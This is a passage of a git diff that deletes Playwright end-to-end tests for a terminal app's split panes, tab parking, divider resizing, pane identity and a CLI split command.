waitForTabRemounted(page: Page, tabId: string): Promise { - await expect - .poll(async () => page.evaluate((id) => window.__paneManagers?.get(id) !== undefined, tabId), { - timeout: 15_000, - message: `terminal tab ${tabId} did not remount on reveal` - }) - .toBe(true) -} - -type SplitTabSetup = { - worktreeId: string - tabId: string - splitLeafId: string - splitPtyId: string -} - -// Seed the field shape: main plus fully bound/settled split pane. -async function setUpSplitTab(page: Page): Promise { - await waitForSessionReady(page) - const worktreeId = await waitForActiveWorktree(page) - await skipUnlessParkingWired(page) - await ensureTerminalVisible(page) - await waitForActiveTerminalManager(page, 30_000) - await waitForPaneIdentitySnapshot(page, 1) - const tabId = await getActiveTabId(page) - if (!tabId) { - throw new Error('setUpSplitTab: no active terminal tab') - } - await splitActiveTerminalPane(page, 'vertical') - const snapshot = await waitForPaneIdentitySnapshot(page, 2) - const splitPane = snapshot.panes.at(-1) - if (!splitPane?.ptyId) { - throw new Error('setUpSplitTab: split pane did not bind a PTY') - } - return { worktreeId, tabId, splitLeafId: splitPane.leafId, splitPtyId: splitPane.ptyId } -} - -test.describe('terminal pane close vs hidden/park lifecycle keeps layout consistent', () => { - test('close and hide the tab in the same tick', async ({ orcaPage }) => { - const { worktreeId, tabId } = await setUpSplitTab(orcaPage) - await orcaPage.evaluate( - ({ tabId, worktreeId, closeEvent }) => { - const store = window.__store - const manager = window.__paneManagers?.get(tabId) - if (!store || !manager) { - throw new Error('close+hide: store/manager unavailable') - } - const target = manager.getPanes().at(-1) - if (!target) { - throw new Error('close+hide: no split pane') - } - // The user's close (see requestTerminalPaneClose), sent without waiting for it. - manager.setActivePane(target.id, { focus: false }) - window.dispatchEvent(new CustomEvent(closeEvent, { detail: { tabId } })) - // Hide tab A before any deferred post-close work can run. - const state = store.getState() - const tab = state.createTab(worktreeId, undefined, undefined, { activate: true }) - state.setActiveTab(tab.id) - state.setActiveTabType('terminal', window.__store?.getState().activeWorktreeId ?? null) - }, - { tabId, worktreeId, closeEvent: REQUEST_ACTIVE_TERMINAL_PANE_CLOSE_EVENT } - ) - await orcaPage.waitForTimeout(PARKING_DELAY_MS * 3) - await activateTerminalTab(orcaPage, tabId) - await waitForTabRemounted(orcaPage, tabId) - await expectLayoutConsistent(orcaPage, tabId, 1, 'close-then-hide-same-tick') - await expectMainHoldsWindowPanes(orcaPage, worktreeId, tabId, 'close-then-hide-same-tick') - }) - - test('close while hidden but still mounted (hot-retain window)', async ({ orcaPage }) => { - const { worktreeId, tabId } = await setUpSplitTab(orcaPage) - await createActiveTerminalTab(orcaPage, worktreeId) - await requestTerminalPaneClose(orcaPage, tabId, 'last') - await parkHiddenTabBehindDecoy(orcaPage, worktreeId, tabId, { - parkDelayMs: PARKING_DELAY_MS - }) - await activateTerminalTab(orcaPage, tabId) - await waitForTabRemounted(orcaPage, tabId) - await expectLayoutConsistent(orcaPage, tabId, 1, 'close-while-hidden-mounted') - await expectMainHoldsWindowPanes(orcaPage, worktreeId, tabId, 'close-while-hidden-mounted') - }) - - test('close immediately after reveal remount, before panes settle', async ({ orcaPage }) => { - const { worktreeId, tabId } = await setUpSplitTab(orcaPage) - await createActiveTerminalTab(orcaPage, worktreeId) - await parkHiddenTabBehindDecoy(orcaPage, worktreeId, tabId, { - parkDelayMs: PARKING_DELAY_MS - }) - await activateTerminalTab(orcaPage, tabId) - await waitForTabRemounted(orcaPage, tabId) - // Close as soon as the manager exists — panes may still be attaching. - await requestTerminalPaneClose(orcaPage, tabId, 'last') - await expectLayoutConsistent(orcaPage, tabId, 1, 'close-mid-reveal') - await expectMainHoldsWindowPanes(orcaPage, worktreeId, tabId, 'close-mid-reveal') - }) - - test('clean visible close survives a later park/reveal cycle', async ({ orcaPage }) => { - const { worktreeId, tabId } = await setUpSplitTab(orcaPage) - await requestTerminalPaneClose(orcaPage, tabId, 'last') - await expectLayoutConsistent(orcaPage, tabId, 1, 'pre-park close') - await createActiveTerminalTab(orcaPage, worktreeId) - await parkHiddenTabBehindDecoy(orcaPage, worktreeId, tabId, { - parkDelayMs: PARKING_DELAY_MS - }) - await activateTerminalTab(orcaPage, tabId) - await waitForTabRemounted(orcaPage, tabId) - await expectLayoutConsistent(orcaPage, tabId, 1, 'post-park-reveal') - await expectMainHoldsWindowPanes(orcaPage, worktreeId, tabId, 'post-park-reveal') - }) - - test('split pane shell exits while hidden but still mounted', async ({ orcaPage }) => { - const { worktreeId, tabId, splitPtyId } = await setUpSplitTab(orcaPage) - await createActiveTerminalTab(orcaPage, worktreeId) - // Model setup-script shell exit while hidden but still mounted. - await sendToTerminal(orcaPage, splitPtyId, CLEAN_SHELL_EXIT) - await orcaPage.waitForTimeout(PARKING_DELAY_MS / 2) - await activateTerminalTab(orcaPage, tabId) - await waitForTabRemounted(orcaPage, tabId) - await expectLayoutConsistent(orcaPage, tabId, 1, 'shell-exit-while-hidden-mounted', splitPtyId) - await expectMainHoldsWindowPanes(orcaPage, worktreeId, tabId, 'shell-exit-while-hidden-mounted') - }) - - test('split pane shell exits while the tab is parked', async ({ orcaPage }) => { - const { worktreeId, tabId, splitPtyId } = await setUpSplitTab(orcaPage) - await createActiveTerminalTab(orcaPage, worktreeId) - await parkHiddenTabBehindDecoy(orcaPage, worktreeId, tabId, { - parkDelayMs: PARKING_DELAY_MS - }) - await sendToTerminal(orcaPage, splitPtyId, CLEAN_SHELL_EXIT) - await orcaPage.waitForTimeout(PARKING_DELAY_MS) - await activateTerminalTab(orcaPage, tabId) - await waitForTabRemounted(orcaPage, tabId) - // Parked exits defer sibling promotion to reveal’s remounted PaneManager; require per-leaf teardown to finish without a ghost pane. - await expectLayoutConsistent(orcaPage, tabId, 1, 'shell-exit-while-parked', splitPtyId) - await expectMainHoldsWindowPanes(orcaPage, worktreeId, tabId, 'shell-exit-while-parked') - }) -}) diff --git a/tests/e2e/terminal-pane-divider-capture-loss.spec.ts b/tests/e2e/terminal-pane-divider-capture-loss.spec.ts deleted file mode 100644 index 4ea2f35d39e..00000000000 --- a/tests/e2e/terminal-pane-divider-capture-loss.spec.ts +++ /dev/null @@ -1,170 +0,0 @@ -import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { - splitActiveTerminalPane, - waitForActiveTerminalManager, - waitForPaneCount -} from './helpers/terminal' -import { ensureTerminalVisible } from './helpers/store' - -type PaneGeometry = { - width: number - flex: string - cols: number | null - rows: number | null - proposed: { cols: number; rows: number } | null -} - -type DividerGeometry = { - first: PaneGeometry - second: PaneGeometry -} - -test.use({ seedTestRepo: false }) - -async function addTestRepo(page: Page, repoPath: string): Promise { - const repoId = await page.evaluate(async (path) => { - const result = await window.api.repos.add({ path }) - if ('error' in result) { - throw new Error(result.error) - } - return result.repo.id - }, repoPath) - await expect - .poll(() => - page.evaluate(async (id) => { - const store = window.__store - if (!store) { - return false - } - await store.getState().fetchRepos({ runtimeEnvironmentId: null, throwOnError: true }) - await store.getState().fetchWorktrees(id) - const worktree = store - .getState() - .worktreesByRepo[id]?.find((candidate) => candidate.isMainWorktree) - if (!worktree) { - return false - } - store.getState().setActiveWorktree(worktree.id) - return true - }, repoId) - ) - .toBe(true) -} - -async function readDividerGeometry(page: Page): Promise { - return page.evaluate(() => { - const divider = document.querySelector('.pane-divider.is-vertical') - const firstElement = divider?.previousElementSibling as HTMLElement | null - const secondElement = divider?.nextElementSibling as HTMLElement | null - if (!divider || !firstElement || !secondElement) { - throw new Error('Divider unavailable') - } - const readPane = (element: HTMLElement): PaneGeometry => { - const paneElement = element.matches('.pane[data-pty-id]') - ? element - : element.querySelector('.pane[data-pty-id]') - const ptyId = paneElement?.dataset.ptyId - const pane = ptyId - ? Array.from(window.__paneManagers?.values() ?? []) - .flatMap((manager) => manager.getPanes()) - .find((candidate) => candidate.container.dataset.ptyId === ptyId) - : null - let proposed: PaneGeometry['proposed'] = null - try { - proposed = pane?.fitAddon.proposeDimensions() ?? null - } catch { - proposed = null - } - return { - width: element.getBoundingClientRect().width, - flex: element.style.flex, - cols: pane?.terminal.cols ?? null, - rows: pane?.terminal.rows ?? null, - proposed - } - } - return { first: readPane(firstElement), second: readPane(secondElement) } - }) -} - -function gridsMatch(geometry: DividerGeometry): boolean { - return [geometry.first, geometry.second].every( - (pane) => - pane.proposed !== null && pane.cols === pane.proposed.cols && pane.rows === pane.proposed.rows - ) -} - -test('@headful keeps resizing after the divider loses pointer capture', async ({ - orcaPage, - testRepoPath -}, testInfo) => { - // Keep the 260px drag above the fit floor regardless of the CI display resolution. - await orcaPage.setViewportSize({ width: 1600, height: 1000 }) - await addTestRepo(orcaPage, testRepoPath) - await ensureTerminalVisible(orcaPage, 30_000) - await waitForActiveTerminalManager(orcaPage, 30_000) - await splitActiveTerminalPane(orcaPage, 'vertical') - await waitForPaneCount(orcaPage, 2, 30_000) - - await expect - .poll(async () => (await readDividerGeometry(orcaPage)).second.width) - .toBeGreaterThan(400) - - const divider = orcaPage.locator('.pane-divider.is-vertical').first() - await expect(divider).toBeVisible() - const box = await divider.boundingBox() - if (!box) { - throw new Error('Divider has no bounding box') - } - await divider.evaluate((element) => { - element.dataset.captureLossCount = '0' - element.addEventListener('pointerdown', (event) => { - if (event instanceof PointerEvent) { - element.dataset.captureLossPointerId = String(event.pointerId) - } - }) - element.addEventListener('lostpointercapture', () => { - element.dataset.captureLossCount = String(Number(element.dataset.captureLossCount ?? '0') + 1) - }) - }) - - const before = await readDividerGeometry(orcaPage) - const startX = box.x + box.width / 2 - const startY = box.y + box.height / 2 - await orcaPage.mouse.move(startX, startY) - await orcaPage.mouse.down() - await orcaPage.mouse.move(startX + 140, startY, { steps: 10 }) - await expect - .poll(async () => - Math.abs((await readDividerGeometry(orcaPage)).first.width - before.first.width) - ) - .toBeGreaterThan(80) - - // Why: this is the real browser event observed during field failures; later - // window-level pointer events must remain authoritative after capture drops. - await divider.evaluate((element) => { - const pointerId = Number(element.dataset.captureLossPointerId) - if (!Number.isInteger(pointerId) || !element.hasPointerCapture(pointerId)) { - throw new Error('Divider did not acquire pointer capture') - } - element.releasePointerCapture(pointerId) - }) - // Pending capture changes are dispatched with the next pointer event. - await orcaPage.mouse.move(startX + 260, startY, { steps: 10 }) - await expect - .poll(() => divider.evaluate((element) => Number(element.dataset.captureLossCount ?? '0'))) - .toBe(1) - await orcaPage.mouse.up() - await expect.poll(async () => gridsMatch(await readDividerGeometry(orcaPage))).toBe(true) - const after = await readDividerGeometry(orcaPage) - await testInfo.attach('divider-capture-loss-geometry', { - body: Buffer.from(JSON.stringify({ before, after }, null, 2)), - contentType: 'application/json' - }) - - expect(Math.abs(after.first.width - before.first.width)).toBeGreaterThan(180) - expect(Math.abs(after.second.width - before.second.width)).toBeGreaterThan(180) - expect(after.first.flex).not.toBe(before.first.flex) - expect(after.second.flex).not.toBe(before.second.flex) -}) diff --git a/tests/e2e/terminal-pane-split-identity.spec.ts b/tests/e2e/terminal-pane-split-identity.spec.ts deleted file mode 100644 index 20b88519f0c..00000000000 --- a/tests/e2e/terminal-pane-split-identity.spec.ts +++ /dev/null @@ -1,80 +0,0 @@ -// Require stable split-leaf UUIDs across PTY binding, ORCA_PANE_KEY and context menu. - -import { test, expect } from './helpers/orca-app' -import { - UUID_RE, - discoverActivePtyId, - execInTerminal, - countVisibleTerminalPanes, - splitActiveTerminalPane, - waitForPaneIdentitySnapshot, - waitForTerminalOutput, - waitForPaneCount -} from './helpers/terminal' -import { openTerminalContextMenu } from './helpers/terminal-pane-title-actions' -import { registerTerminalPaneMountReadiness } from './helpers/terminal-pane-mount-readiness' - -// Serialize headful scenarios; visible-window runs require an isolated display. -test.describe.configure({ mode: 'serial' }) -test.describe('Terminal Panes', () => { - registerTerminalPaneMountReadiness() - - test('split panes persist PTY bindings by stable UUID leaf id', async ({ orcaPage }) => { - const paneCountBefore = await countVisibleTerminalPanes(orcaPage) - - await splitActiveTerminalPane(orcaPage, 'vertical') - await waitForPaneCount(orcaPage, paneCountBefore + 1) - - const snapshot = await waitForPaneIdentitySnapshot(orcaPage, paneCountBefore + 1) - const leafIds = snapshot.panes.map((pane) => pane.leafId) - const ptyIds = snapshot.panes.map((pane) => pane.ptyId) - - expect(new Set(leafIds).size).toBe(leafIds.length) - expect(new Set(ptyIds).size).toBe(ptyIds.length) - expect(Object.keys(snapshot.ptyIdsByLeafId).sort()).toEqual([...leafIds].sort()) - expect(Object.keys(snapshot.ptyIdsByLeafId).every((leafId) => UUID_RE.test(leafId))).toBe(true) - expect( - snapshot.panes.some( - (pane) => - String(pane.numericPaneId) === pane.leafId || `pane:${pane.numericPaneId}` === pane.leafId - ) - ).toBe(false) - }) - - test('terminal process receives ORCA_PANE_KEY with the active UUID leaf id', async ({ - orcaPage - }) => { - const snapshot = await waitForPaneIdentitySnapshot(orcaPage, 1) - const activeLeafId = snapshot.activeLeafId ?? snapshot.panes[0]?.leafId - if (!activeLeafId) { - throw new Error('No active pane leaf id found') - } - - const expectedPaneKey = `${snapshot.tabId}:${activeLeafId}` - const ptyId = await discoverActivePtyId(orcaPage) - const marker = `ORCA_PANE_KEY_E2E_${Date.now()}` - - await execInTerminal(orcaPage, ptyId, `printf '${marker}=%s\\n' "$ORCA_PANE_KEY"`) - await waitForTerminalOutput(orcaPage, `${marker}=${expectedPaneKey}`) - - expect(activeLeafId).toMatch(UUID_RE) - }) - - test('terminal context menu copies the stable pane ID', async ({ orcaPage }) => { - const snapshot = await waitForPaneIdentitySnapshot(orcaPage, 1) - const leafId = snapshot.panes[0]?.leafId - if (!leafId) { - throw new Error('No terminal pane leaf id found') - } - const expectedPaneKey = `${snapshot.tabId}:${leafId}` - - await openTerminalContextMenu(orcaPage) - await orcaPage.getByText('Copy Pane ID', { exact: true }).click() - - await expect - .poll(() => orcaPage.evaluate(() => window.api.ui.readClipboardText()), { timeout: 3_000 }) - .toBe(expectedPaneKey) - await expect(orcaPage.getByText('Pane ID copied', { exact: true })).toBeVisible() - expect(leafId).toMatch(UUID_RE) - }) -}) diff --git a/tests/e2e/terminal-pane-title-strip-placement.spec.ts b/tests/e2e/terminal-pane-title-strip-placement.spec.ts deleted file mode 100644 index ff85beaeb30..00000000000 --- a/tests/e2e/terminal-pane-title-strip-placement.spec.ts +++ /dev/null @@ -1,96 +0,0 @@ -import { test, expect } from './helpers/orca-app' -import { - readPaneIdentitySnapshot, - splitActiveTerminalPane, - waitForPaneIdentitySnapshot, - waitForPaneCount -} from './helpers/terminal' -import { setPaneTitleFromTerminalMenu } from './helpers/terminal-pane-title-actions' -import { registerTerminalPaneMountReadiness } from './helpers/terminal-pane-mount-readiness' - -test.describe.configure({ mode: 'serial' }) -test.describe('Terminal Panes', () => { - registerTerminalPaneMountReadiness() - - test('Set Title strip accepts file-path drops without changing the active pane', async ({ - orcaPage - }) => { - const title = `Drop target title ${Date.now()}` - const droppedPath = `/tmp/title-drop-${Date.now()}.txt` - - await setPaneTitleFromTerminalMenu(orcaPage, title) - const initialSnapshot = await waitForPaneIdentitySnapshot(orcaPage, 1) - const titledLeafId = initialSnapshot.activeLeafId ?? initialSnapshot.panes[0]?.leafId - if (!titledLeafId) { - throw new Error('No titled pane leaf id found before split') - } - - await splitActiveTerminalPane(orcaPage, 'vertical') - await waitForPaneCount(orcaPage, 2) - const splitSnapshot = await waitForPaneIdentitySnapshot(orcaPage, 2) - const otherPane = splitSnapshot.panes.find((pane) => pane.leafId !== titledLeafId) - if (!otherPane) { - throw new Error('No inactive pane found for title-strip drop test') - } - - await orcaPage.evaluate( - ({ tabId, paneId }) => { - window.__paneManagers?.get(tabId)?.setActivePane(paneId, { focus: false }) - }, - { tabId: splitSnapshot.tabId, paneId: otherPane.numericPaneId } - ) - await expect - .poll(async () => (await readPaneIdentitySnapshot(orcaPage))?.activeLeafId ?? null) - .toBe(otherPane.leafId) - - const titleBar = orcaPage.locator('.pane-title-bar', { hasText: title }).first() - await expect(titleBar).toHaveAttribute('data-os-file-drop-owner', '') - await expect(titleBar).toHaveAttribute('data-terminal-tab-id', splitSnapshot.tabId) - - await titleBar.evaluate((element, path) => { - const dataTransfer = new DataTransfer() - dataTransfer.setData('text/x-orca-file-path', path) - // Internal drops are refused without the source owner an Explorer drag records. - dataTransfer.setData( - 'application/x-orca-workspace-file-source', - JSON.stringify({ - executionHostId: 'local', - workspaceId: window.__store?.getState().activeWorktreeId, - version: 1 - }) - ) - element.dispatchEvent( - new DragEvent('dragover', { bubbles: true, cancelable: true, dataTransfer }) - ) - element.dispatchEvent( - new DragEvent('drop', { bubbles: true, cancelable: true, dataTransfer }) - ) - }, droppedPath) - - await expect - .poll( - () => - orcaPage.evaluate( - ({ tabId, targetLeafId, otherLeafId, droppedPath }) => { - const manager = window.__paneManagers?.get(tabId) - const panes = manager?.getPanes() ?? [] - const content = (leafId: string) => - panes.find((pane) => pane.leafId === leafId)?.serializeAddon?.serialize() ?? '' - return { - activeLeafId: manager?.getActivePane()?.leafId ?? null, - targetHasPath: content(targetLeafId).includes(droppedPath), - otherHasPath: content(otherLeafId).includes(droppedPath) - } - }, - { - tabId: splitSnapshot.tabId, - targetLeafId: titledLeafId, - otherLeafId: otherPane.leafId, - droppedPath - } - ), - { timeout: 5_000, message: 'Title-strip drop changed selection or missed its target' } - ) - .toEqual({ activeLeafId: otherPane.leafId, targetHasPath: true, otherHasPath: false }) - }) -}) diff --git a/tests/e2e/terminal-parked-cli-split.spec.ts b/tests/e2e/terminal-parked-cli-split.spec.ts deleted file mode 100644 index e5d4e973df8..00000000000 --- a/tests/e2e/terminal-parked-cli-split.spec.ts +++ /dev/null @@ -1,388 +0,0 @@ -import { execFile } from 'node:child_process' -import { randomUUID } from 'node:crypto' -import path from 'node:path' -import { performance } from 'node:perf_hooks' -import { promisify } from 'node:util' -import type { Page } from '@stablyai/playwright-test' -import { RuntimeClient } from '../../src/cli/runtime/client' -import type { - RuntimeTerminalListResult, - RuntimeTerminalSplit, - RuntimeTerminalSummary -} from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { expect, test } from './helpers/orca-app' -import { - readPaneIdentitySnapshot, - waitForActiveTerminalManager, - waitForPaneIdentitySnapshot -} from './helpers/terminal' -import { parkHiddenTabBehindDecoy, waitForTabParked } from './helpers/terminal-hidden-parking' -import { - ensureTerminalVisible, - getActiveTabId, - waitForActiveWorktree, - waitForSessionReady -} from './helpers/store' - -const execFileAsync = promisify(execFile) -const PARKING_DELAY_MS = 500 -const HISTORICAL_SPLIT_TIMEOUT_MS = 10_000 - -test.use({ - orcaAppExtraEnv: { ORCA_E2E_TERMINAL_PARKING_DELAY_MS: String(PARKING_DELAY_MS) } -}) - -type CliSplitResponse = { - ok: true - result: { split: RuntimeTerminalSplit } -} - -type ActiveUiContext = { - activeGroupId: string | null - activeLeafId: string | null - activeTabForWorktree: string | null - activeTabId: string | null - activeTabType: string | null - activeWorktreeId: string | null - domActiveTabId: string | null - focusedTerminalTabId: string | null -} - -async function resolveTerminal( - client: RuntimeClient, - worktreeId: string, - tabId: string, - leafId: string -): Promise { - let resolved: RuntimeTerminalSummary | undefined - await expect - .poll( - async () => { - const listed = await client.call('terminal.list', { - worktree: `id:${worktreeId}`, - limit: 20, - requireFreshPtyLiveness: true - }) - resolved = listed.result.terminals.find( - (terminal) => terminal.tabId === tabId && terminal.leafId === leafId - ) - return resolved ? { connected: resolved.connected, writable: resolved.writable } : null - }, - { timeout: 60_000, message: 'Renderer-owned split target never became runtime-visible' } - ) - .toEqual({ connected: true, writable: true }) - if (!resolved) { - throw new Error('Runtime terminal disappeared after becoming visible') - } - return resolved -} - -async function readActiveUiContext(page: Page): Promise { - return page.evaluate(() => { - const state = window.__store?.getState() - const activeWorktreeId = state?.activeWorktreeId ?? null - const activeTabId = state?.activeTabId ?? null - const activePane = activeTabId - ? window.__paneManagers?.get(activeTabId)?.getActivePane?.() - : null - const focused = document.activeElement - return { - activeGroupId: activeWorktreeId - ? (state?.activeGroupIdByWorktree?.[activeWorktreeId] ?? null) - : null, - activeLeafId: activePane?.leafId ?? null, - activeTabForWorktree: activeWorktreeId - ? (state?.activeTabIdByWorktree?.[activeWorktreeId] ?? null) - : null, - activeTabId, - activeTabType: state?.activeTabType ?? null, - activeWorktreeId, - domActiveTabId: - document - .querySelector('[data-testid="sortable-tab"][data-active="true"]') - ?.getAttribute('data-tab-id') ?? null, - focusedTerminalTabId: - focused instanceof HTMLElement && focused.classList.contains('xterm-helper-textarea') - ? (focused.closest('[data-terminal-tab-id]')?.getAttribute('data-terminal-tab-id') ?? - null) - : null - } - }) -} - -async function runParkedSplitCli( - userDataDir: string, - terminalHandle: string -): Promise<{ elapsedMs: number; response: CliSplitResponse }> { - const repoRoot = process.cwd() - const startedAt = performance.now() - try { - const result = await execFileAsync( - process.execPath, - [ - path.join(repoRoot, 'config', 'scripts', 'development', 'launch', 'orca-dev.mjs'), - 'terminal', - 'split', - '--terminal', - terminalHandle, - '--json' - ], - { - cwd: repoRoot, - env: { ...process.env, ORCA_DEV_USER_DATA_PATH: userDataDir }, - timeout: HISTORICAL_SPLIT_TIMEOUT_MS + 5_000 - } - ) - return { - elapsedMs: performance.now() - startedAt, - response: JSON.parse(result.stdout) as CliSplitResponse - } - } catch (error) { - const failure = error as Error & { stderr?: string; stdout?: string } - throw new Error([failure.message, failure.stdout, failure.stderr].filter(Boolean).join('\n')) - } -} - -async function activateTerminalTab(page: Page, worktreeId: string, tabId: string): Promise { - await page.evaluate( - ({ tabId, worktreeId }) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('Renderer store is unavailable') - } - state.setActiveView('terminal') - state.setActiveWorktree(worktreeId) - state.setActiveTabForWorktree(worktreeId, tabId) - state.setActiveTab(tabId) - state.setActiveTabType('terminal', window.__store?.getState().activeWorktreeId ?? null) - }, - { tabId, worktreeId } - ) - await expect - .poll(() => getActiveTabId(page), { - timeout: 10_000, - message: `Terminal tab ${tabId} did not become active` - }) - .toBe(tabId) -} - -async function enablePaneAccessibility(page: Page, tabId: string): Promise { - await page.evaluate((id) => { - const panes = window.__paneManagers?.get(id)?.getPanes?.() ?? [] - for (const pane of panes) { - pane.terminal.options.screenReaderMode = true - pane.terminal.refresh(0, pane.terminal.rows - 1) - } - }, tabId) -} - -async function expectPaneKeyboardRoundTrip( - page: Page, - tabId: string, - leafId: string, - label: string -): Promise { - const nonce = randomUUID().replaceAll('-', '') - const marker = `ORCA_PARKED_SPLIT_${label}_${nonce}` - const command = `node -e "console.log('ORCA_PARKED_' + 'SPLIT_${label}_${nonce}')"` - const pane = page.locator( - `[data-terminal-tab-id=${JSON.stringify(tabId)}][data-terminal-layout-leaf-ids] .pane[data-leaf-id=${JSON.stringify(leafId)}]` - ) - await pane.locator('.xterm').click({ force: true }) - await page.keyboard.type(command) - await page.keyboard.press('Enter') - await expect(pane.locator('.xterm-accessibility-tree')).toContainText(marker, { - timeout: 30_000 - }) -} - -test('CLI splits an exact cold-parked tab without stealing the active tab or focus', async ({ - electronApp, - orcaPage -}, testInfo) => { - test.setTimeout(180_000) - const pageErrors: string[] = [] - orcaPage.on('pageerror', (error) => pageErrors.push(String(error))) - - await waitForSessionReady(orcaPage) - const worktreeId = await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const initial = await waitForPaneIdentitySnapshot(orcaPage, 1) - const targetTabId = initial.tabId - const sourcePane = initial.panes[0] - if (!sourcePane?.ptyId) { - throw new Error('Initial terminal pane has no PTY identity') - } - - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - const client = new RuntimeClient(userDataDir, 30_000) - const sourceTerminal = await resolveTerminal(client, worktreeId, targetTabId, sourcePane.leafId) - - await parkHiddenTabBehindDecoy(orcaPage, worktreeId, targetTabId, { - parkDelayMs: PARKING_DELAY_MS - }) - const decoyTabId = await getActiveTabId(orcaPage) - if (!decoyTabId || decoyTabId === targetTabId) { - throw new Error('Parking did not leave a distinct decoy tab active') - } - await orcaPage - .locator(`[data-terminal-tab-id=${JSON.stringify(decoyTabId)}] .xterm:visible`) - .click({ force: true }) - const contextBefore = await readActiveUiContext(orcaPage) - expect(contextBefore).toMatchObject({ - activeTabForWorktree: decoyTabId, - activeTabId: decoyTabId, - activeTabType: 'terminal', - activeWorktreeId: worktreeId, - domActiveTabId: decoyTabId, - focusedTerminalTabId: decoyTabId - }) - const mountedBefore = await orcaPage.evaluate(() => - Array.from(window.__paneManagers?.keys() ?? []).sort() - ) - expect(mountedBefore).not.toContain(targetTabId) - - const splitPromise = runParkedSplitCli(userDataDir, sourceTerminal.handle) - let mountedDuringSplit: string[] = [] - await expect - .poll( - async () => { - mountedDuringSplit = await orcaPage.evaluate(() => - Array.from(window.__paneManagers?.keys() ?? []).sort() - ) - return mountedDuringSplit.includes(targetTabId) - }, - { timeout: HISTORICAL_SPLIT_TIMEOUT_MS, message: 'CLI did not remount its parked target' } - ) - .toBe(true) - const splitRun = await splitPromise - - expect(mountedDuringSplit.filter((tabId) => !mountedBefore.includes(tabId))).toEqual([ - targetTabId - ]) - expect(mountedBefore.filter((tabId) => !mountedDuringSplit.includes(tabId))).toEqual([]) - expect(splitRun.elapsedMs).toBeLessThan(HISTORICAL_SPLIT_TIMEOUT_MS) - expect(splitRun.response).toMatchObject({ - ok: true, - result: { - split: { - tabId: targetTabId - } - } - }) - expect(splitRun.response.result.split.handle).toMatch(/^term_/) - expect(await readActiveUiContext(orcaPage)).toEqual(contextBefore) - - try { - await waitForTabParked(orcaPage, targetTabId, { parkDelayMs: PARKING_DELAY_MS }) - } catch (error) { - const parkingState = await orcaPage.evaluate(async (worktreeId) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('Parking diagnostics require the E2E store') - } - const tabs = state.tabsByWorktree[worktreeId] ?? [] - const layouts = Object.fromEntries( - tabs.map((tab) => [tab.id, state.terminalLayoutsByTabId[tab.id]]) - ) - const ptyIds = [ - ...new Set( - tabs.flatMap((tab) => [ - ...(tab.ptyId ? [tab.ptyId] : []), - ...(state.ptyIdsByTabId[tab.id] ?? []), - ...Object.values(layouts[tab.id]?.ptyIdsByLeafId ?? {}) - ]) - ) - ] - return { - tabs, - layouts, - pendingStartupByTabId: Object.fromEntries( - tabs.map((tab) => [tab.id, state.pendingStartupByTabId[tab.id]]) - ), - mountedTabIds: [...(window.__paneManagers?.keys() ?? [])], - parkedTabIds: window.__terminalParkingDebug?.parkedTabIds(), - worktreeVerdicts: window.__terminalParkingDebug?.worktreeVerdicts(), - capabilities: await window.api.pty.getAuthoritativeBufferSnapshotCapabilities?.(ptyIds) - } - }, worktreeId) - await testInfo.attach('parked-cli-split-parking-state.json', { - body: Buffer.from(JSON.stringify(parkingState, null, 2)), - contentType: 'application/json' - }) - throw error - } - expect(await readActiveUiContext(orcaPage)).toEqual(contextBefore) - - await orcaPage.screenshot({ path: testInfo.outputPath('parked-cli-split-focus-preserved.png') }) - await testInfo.attach('parked-cli-split-focus-preserved.png', { - path: testInfo.outputPath('parked-cli-split-focus-preserved.png'), - contentType: 'image/png' - }) - - await activateTerminalTab(orcaPage, worktreeId, targetTabId) - await waitForActiveTerminalManager(orcaPage, 30_000) - const revealed = await waitForPaneIdentitySnapshot(orcaPage, 2) - const restoredSource = revealed.panes.find((pane) => pane.leafId === sourcePane.leafId) - const createdPane = revealed.panes.find((pane) => pane.leafId !== sourcePane.leafId) - expect(restoredSource).toMatchObject({ ptyId: sourcePane.ptyId }) - if (!createdPane?.ptyId) { - throw new Error('Revealed split has no second PTY identity') - } - expect(createdPane.leafId).toBe(splitRun.response.result.split.leafId) - - let listedAfterReveal: RuntimeTerminalSummary[] = [] - await expect - .poll(async () => { - const listed = await client.call('terminal.list', { - worktree: `id:${worktreeId}`, - limit: 20, - requireFreshPtyLiveness: true - }) - listedAfterReveal = listed.result.terminals.filter( - (terminal) => terminal.tabId === targetTabId - ) - return listedAfterReveal.map((terminal) => terminal.handle).sort() - }) - .toEqual([sourceTerminal.handle, splitRun.response.result.split.handle].sort()) - expect( - listedAfterReveal.find((terminal) => terminal.handle === sourceTerminal.handle) - ).toMatchObject({ - leafId: sourcePane.leafId, - ptyId: sourcePane.ptyId - }) - expect( - listedAfterReveal.find((terminal) => terminal.handle === splitRun.response.result.split.handle) - ).toMatchObject({ leafId: createdPane.leafId, ptyId: createdPane.ptyId }) - - const targetSurface = orcaPage.locator( - `[data-terminal-tab-id=${JSON.stringify(targetTabId)}][data-terminal-layout-leaf-ids]` - ) - await expect(targetSurface).toBeVisible() - await expect(targetSurface.locator('.pane[data-leaf-id]')).toHaveCount(2) - await expect(targetSurface.locator('.xterm:visible')).toHaveCount(2) - await expect( - targetSurface.locator(`.pane[data-leaf-id=${JSON.stringify(sourcePane.leafId)}]`) - ).toBeVisible() - await expect( - targetSurface.locator(`.pane[data-leaf-id=${JSON.stringify(createdPane.leafId)}]`) - ).toBeVisible() - - await enablePaneAccessibility(orcaPage, targetTabId) - await expect(targetSurface.locator('.xterm-accessibility-tree')).toHaveCount(2) - await expectPaneKeyboardRoundTrip(orcaPage, targetTabId, sourcePane.leafId, 'SOURCE') - await expectPaneKeyboardRoundTrip(orcaPage, targetTabId, createdPane.leafId, 'CREATED') - - await orcaPage.screenshot({ path: testInfo.outputPath('parked-cli-split-final.png') }) - await testInfo.attach('parked-cli-split-final.png', { - path: testInfo.outputPath('parked-cli-split-final.png'), - contentType: 'image/png' - }) - expect(pageErrors).toEqual([]) - expect(await readPaneIdentitySnapshot(orcaPage)).toMatchObject({ - panes: revealed.panes, - ptyIdsByLeafId: revealed.ptyIdsByLeafId, - tabId: revealed.tabId - }) -}) diff --git a/tests/e2e/terminal-perf-presentation.unit.test.ts b/tests/e2e/terminal-perf-presentation.unit.test.ts deleted file mode 100644 index 